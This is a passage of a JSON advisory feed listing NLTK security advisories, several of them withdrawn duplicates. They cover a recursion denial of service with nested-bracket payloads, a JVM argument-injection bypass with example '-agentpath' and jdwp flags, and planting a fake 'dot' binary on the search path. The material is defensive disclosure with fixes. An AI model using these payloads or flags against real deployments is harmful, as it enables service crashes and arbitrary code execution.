`MAX_DECODE_DEPTH = 200` with an explicit depth check. `nltk/featstruct.py` has no analogous protection.\n\n`FeatureGrammar.fromstring()` (`nltk/grammar.py`) parses feature structures embedded in FCFG grammar rules via the same `FeatStructReader`, so the same crash is reachable through grammar-string parsing as well as through `FeatStruct()` directly.\n\n### PoC\n\nVerified against the current `develop` branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via `pip install -e .`):\n\n```python\nfrom nltk.featstruct import FeatStruct\n\ndepth = 167\npayload = \"[a=\" * depth + \"1\" + \"]\" * depth   # 669 bytes\nFeatStruct(payload)\n```\n\nResult:\n```\nTraceback (most recent call last):\n  ...\n  File \".../nltk/featstruct.py\", line 2310, in _read_partial_featdict\n    value, position = self._read_value(name, s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2440, in _read_value\n    return self.read_value(s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2446, in read_value\n    return handler_func(s, position, reentrances, match)\n  [... repeats ~167 times ...]\nRecursionError: maximum recursion depth exceeded\n```\n\n- Crash threshold: nesting depth 167 (binary-searched between 50 and 200).\n- Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.\n- Time to crash: \u003c2ms — no resource exhaustion is needed, only recursion depth.\n\nMinimal reproduction (no server required):\n```bash\npython3 -c \"\nfrom nltk.featstruct import FeatStruct\nFeatStruct('[a=' * 200 + '1' + ']' * 200)\n\"\n```\n\nIllustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable):\n```python\nfrom flask import Flask, request\nfrom nltk.featstruct import FeatStruct\n\napp = Flask(__name__)\n\n@app.route(\"/parse\", methods=[\"POST\"])\ndef parse_grammar():\n    return {\"result\": str(FeatStruct(request.json[\"grammar\"]))}\n```\nA POST of `{\"grammar\": \"[a=\" * 200 + \"1\" + \"]\" * 200}` to this endpoint raises the uncaught `RecursionError` inside the request handler.\n\n### Impact\n\n**Vulnerability type:** Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) `RecursionError`.\n\n**Who is affected:** Any application that passes externally-supplied text into `nltk.featstruct.FeatStruct()` or `nltk.grammar.FeatureGrammar.fromstring()` — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.\n\n**Practical severity depends on deployment:**\n- In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted.\n- In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught `RecursionError` can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.\n\n**Suggested fix:** Add a depth counter and a `MAX_PARSE_DEPTH`-style constant to `FeatStructReader`, mirroring the existing fix in `nltk/sem/logic.py`, and raise the library's normal `ValueError`-based parse error once the limit is exceeded instead of letting `RecursionError` propagate.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:33:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh","https://nvd.nist.gov/vuln/detail/CVE-2026-81724","https://github.com/nltk/nltk/commit/43c7b78cc8ea37e5cd3a129e27e32c415ea21cf1","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3739.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion","https://github.com/advisories/GHSA-cw6x-m8jw-qmrh"],"source_kind":"github","identifiers":["GHSA-cw6x-m8jw-qmrh","CVE-2026-81724"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.287Z","epss_percentage":0.00267,"epss_percentile":0.18478,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","url":"https://github.com/advisories/GHSA-m4rf-3fr8-xwx3","title":"NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","description":"## Vulnerability\n\nThe fix for CVE-2026-12841 (CWE-88, JVM argument injection) added `_validate_java_options()` to block dangerous JVM flags such as `-agentlib`, `-agentpath`, `-javaagent`, `-Xrunjdwp`, and `@argfile` references. However, the validation is only applied when setting global options via `config_java()`. The `java()` function's per-call `options` parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to `subprocess.Popen` without calling `_validate_java_options()`.\n\nAll four Stanford Java wrapper classes accept user-supplied `java_options` and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.\n\n## Root Cause\n\nIn `nltk/internals.py`, the `java()` function (line 128) accepts an `options` keyword argument. When `options` is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:\n\n```python\n# nltk/internals.py, lines 211-217 (HEAD)\nif options is None:\n    java_options = _java_options       # validated by config_java()\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)       # NO validation\ncmd = [_java_bin] + java_options + cmd\n```\n\nCompare with `config_java()` (line 92) which does validate:\n\n```python\n# nltk/internals.py, lines 122-123\n_validate_java_options(options)\n_java_options[:] = options\n```\n\nThe four affected wrapper classes store user-supplied `java_options` without validation and pass them through the unvalidated per-call path:\n\n1. `GenericStanfordParser` (`nltk/parse/stanford.py`): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256\n2. `StanfordTagger` (`nltk/tag/stanford.py`): constructor parameter at line 51, stored at line 79, passed at line 118\n3. `StanfordTokenizer` (`nltk/tokenize/stanford.py`): constructor parameter at line 43, stored at line 66, passed at line 109\n4. `StanfordSegmenter` (`nltk/tokenize/stanford_segmenter.py`): constructor parameter at line 68, stored at line 117, passed at line 337\n\n## Proof of Concept\n\n```python\nfrom nltk.internals import config_java, java, _validate_java_options\n\n# 1. The global config_java() path correctly blocks dangerous flags:\ntry:\n    config_java(options=[\"-agentpath:/tmp/evil.so\"])\nexcept ValueError as e:\n    print(f\"config_java blocked: {e}\")   # blocked as expected\n\n# 2. The per-call options path does NOT block them:\n# (Would execute if Java were installed)\n# java([\"SomeClass\"], classpath=\".\", options=[\"-agentpath:/tmp/evil.so\"])\n# This passes \"-agentpath:/tmp/evil.so\" directly to subprocess.Popen\n\n# 3. Stanford wrapper classes pass through without validation:\n# from nltk.parse.stanford import StanfordParser\n# parser = StanfordParser(java_options=\"-agentpath:/tmp/evil.so\")\n# parser.parse(...)  # dangerous flag reaches JVM\n\n# Verify the gap directly:\ndangerous_opts = [\"-agentpath:/tmp/evil.so\"]\ntry:\n    _validate_java_options(dangerous_opts)\n    print(\"Would have been caught\")\nexcept ValueError:\n    print(\"Correctly rejected by _validate_java_options()\")\n\n# But java() itself never calls _validate_java_options():\nimport inspect\nsource = inspect.getsource(java)\nassert \"_validate_java_options\" not in source, \"java() does not validate options\"\nprint(\"Confirmed: java() does not call _validate_java_options()\")\n```\n\n## Impact\n\nAn attacker who controls the `java_options` parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:\n\n- `-agentpath:/path/to/malicious.so` -- loads a native agent, achieving arbitrary code execution\n- `-javaagent:/path/to/malicious.jar` -- loads a Java agent for bytecode manipulation\n- `-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005` -- enables remote debugging, allowing remote code execution\n- `@/path/to/argfile` -- expands an argument file, which can smuggle any of the above\n\nThis is exploitable in scenarios where NLTK is deployed as a service and `java_options` is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover \"StanfordSegmenter, and GenericStanfordParser\" but the implementation only validates in `config_java()`.\n\n## Suggested Fix\n\nAdd `_validate_java_options()` to the `java()` function's per-call options handling:\n\n```python\n# nltk/internals.py, in the java() function\nif options is None:\n    java_options = _java_options\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)\n    _validate_java_options(java_options)   # ADD THIS LINE\ncmd = [_java_bin] + java_options + cmd\n```\n\nThis single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of `java(options=...)`.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-01T20:38:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3","https://nvd.nist.gov/vuln/detail/CVE-2026-79675","https://github.com/nltk/nltk/commit/8fa9650b6009aacfdebbc33d2a08d32c0858ea6c","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options","https://github.com/advisories/GHSA-m4rf-3fr8-xwx3"],"source_kind":"github","identifiers":["GHSA-m4rf-3fr8-xwx3","CVE-2026-79675"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T00:00:14.440Z","epss_percentage":0.00403,"epss_percentile":0.33338,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","url":"https://github.com/advisories/GHSA-6hwm-xvph-95vm","title":"NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary","description":"Two NLTK sites executed the Graphviz `dot` program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named `dot` where resolution looks (the CWD on Windows, or a writable/relative entry such as `.` on `PATH`) has their binary executed in place of Graphviz (arbitrary code execution).\n\nAffected (\u003c= 3.10.2):\n- `nltk.parse.dependencygraph.dot2img` — called `find_binary(\"dot\")` but discarded the returned validated path and then ran the bare name `[\"dot\", ...]`, so the validation had no effect.\n- `nltk.translate.api.AlignedSent._repr_svg_` — ran the bare name with no validation at all (IPython SVG rendering).\n\nThis is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. `nltk.internals.find_binary` refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.\n\n---\n\n## Attack demonstration\nCaptured output, not illustrative. A `./dot` that writes a `PWNED` marker, planted in the CWD with `.` prepended to `PATH`.\n\n**The vulnerable behaviour (old bare-name exec):**\n```\nControl (OLD behavior) — bare ['dot'] in this dir with '.' on PATH:\n  bare ['dot'] executed planted binary = True\n```\n\n**The patched functions refuse it:**\n```\nFIXED code, with ./dot planted and '.' on PATH:\n  dependencygraph.dot2img : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n  AlignedSent._repr_svg_  : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n```\n\n**And `find_binary` itself was attacked directly** (the fix trusts nothing else):\n```\nAttack 1: ./dot in CWD, no dot on PATH            -\u003e LookupError (refused)  safe\nAttack 2: ./dot/dot (dir 'dot' holding 'dot')     -\u003e LookupError (refused)  safe\nAttack 3: '.' on PATH + ./dot                     -\u003e LookupError (refused)  safe\nAttack 4: attacker-writable ABSOLUTE dir on PATH  -\u003e returned /…/evilbin/dot (absolute)\n```\nAttack 4 is out of scope: trusting an absolute directory that is already on `PATH` is the operating system's own trust model — an attacker who can write to a `PATH` directory owns the account regardless of NLTK. `find_binary` defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.\n\nEnvironment: python 3.13.7. `dot` is not required to reproduce — the planted binary is the payload.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-01T20:27:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm","https://nvd.nist.gov/vuln/detail/CVE-2026-78680","https://github.com/nltk/nltk/commit/1a3cd1764ab3deb084fb66d0ffb4873717659538","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary","https://github.com/advisories/GHSA-6hwm-xvph-95vm"],"source_kind":"github","identifiers":["GHSA-6hwm-xvph-95vm","CVE-2026-78680"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T00:00:14.442Z","epss_percentage":0.0012,"epss_percentile":0.02054,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","url":"https://github.com/advisories/GHSA-vf76-f5cp-9846","title":"Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-31T21:31:52.000Z","withdrawn_at":"2026-09-02T14:49:37.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7","https://nvd.nist.gov/vuln/detail/CVE-2026-80206","https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep","https://github.com/advisories/GHSA-vf76-f5cp-9846"],"source_kind":"github","identifiers":["GHSA-vf76-f5cp-9846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.262Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","url":"https://github.com/advisories/GHSA-pf76-q698-37v8","title":"Duplicate Advisory: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-cw6x-m8jw-qmrh. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains an uncontrolled recursion vulnerability in nltk.featstruct.FeatStructReader that allows unauthenticated attackers to cause a denial of service by supplying deeply nested feature-structure input. Attackers can craft trivial payloads with nested brackets that exceed Python's recursion limit and raise an unhandled RecursionError, crashing applications that parse user-supplied feature structures or feature grammars.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:33:12.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh","https://nvd.nist.gov/vuln/detail/CVE-2026-81724","https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion","https://github.com/advisories/GHSA-pf76-q698-37v8"],"source_kind":"github","identifiers":["GHSA-pf76-q698-37v8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.287Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","url":"https://github.com/advisories/GHSA-3m7f-6hxv-6796","title":"Duplicate Advisory: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mpw-7fpc-4gqj. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service vulnerability in Pl196xCorpusReader that allows attackers to cause quadratic CPU consumption by supplying malformed TEI blocks with many unmatched opening tags. Attackers can exploit lazy regex patterns in the read_block method through public APIs like words() and tagged_words() to force repeated rescans and achieve near-quadratic runtime growth.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:49:56.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj","https://nvd.nist.gov/vuln/detail/CVE-2026-81725","https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader","https://github.com/advisories/GHSA-3m7f-6hxv-6796"],"source_kind":"github","identifiers":["GHSA-3m7f-6hxv-6796"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.261Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","url":"https://github.com/advisories/GHSA-hqj7-phwp-c3fp","title":"Duplicate Advisory: Model-artifact APIs bypass pathsec and touch files outside allowed roots","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mgp-746c-j5xp. This link is maintained to preserve external references.\n\n## Original Description\nNLTK through 3.10.3 contains a path traversal vulnerability in model-artifact APIs that bypass pathsec enforcement by using raw file operations on caller-controlled paths. Attackers can read or write files outside allowed sandbox roots through TransitionParser, AveragedPerceptron, PerceptronTagger, and maxent parameter APIs when pathsec is enabled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:34:27.000Z","classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp","https://nvd.nist.gov/vuln/detail/CVE-2026-81726","https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis","https://github.com/advisories/GHSA-hqj7-phwp-c3fp"],"source_kind":"github","identifiers":["GHSA-hqj7-phwp-c3fp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.285Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","url":"https://github.com/advisories/GHSA-4xw3-jf9x-x7mf","title":"Duplicate Advisory:  Downloader.download follows hardlinks and overwrites outside-root files","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f794-5jv7-7672. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a filesystem containment bypass vulnerability in the Downloader.download and Downloader.incr_download methods that allows attackers to overwrite files outside the install root through pre-existing hardlinks. Attackers with write access to a shared downloader directory can create hardlinks pointing to outside-root files that are then overwritten during normal package extraction, mutating files outside the intended install tree.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:35:28.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672","https://nvd.nist.gov/vuln/detail/CVE-2026-81727","https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader","https://github.com/advisories/GHSA-4xw3-jf9x-x7mf"],"source_kind":"github","identifiers":["GHSA-4xw3-jf9x-x7mf"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.284Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","url":"https://github.com/advisories/GHSA-8x48-8g7j-rqxp","title":"Duplicate Advisory: Quadratic-time DoS in PorterStemmer via long runs of 'y'","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-ww6m-cw3f-q94g. This link is maintained to preserve external references.\n\n## Original Description\nnltk PorterStemmer in versions \u003c= 3.10.2 (fixed in 3.10.3) contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem(). The _is_consonant() helper walks backward over the entire run of trailing 'y' characters on every call, and _measure() invokes it for each stem position, causing O(n^2) behavior. A single ~20-50 KB untrusted token consisting of a long run of the letter 'y' followed by a matching suffix (e.g., 'ness') can pin a CPU core for seconds to minutes, causing availability impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-27T18:32:29.000Z","withdrawn_at":"2026-09-02T14:36:04.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g","https://nvd.nist.gov/vuln/detail/CVE-2026-81722","https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos","https://github.com/advisories/GHSA-8x48-8g7j-rqxp"],"source_kind":"github","identifiers":["GHSA-8x48-8g7j-rqxp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.284Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","url":"https://github.com/advisories/GHSA-hqv3-xm29-p9hq","title":"Duplicate Advisory: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-vp2x-qp44-57v7. This link is maintained to preserve 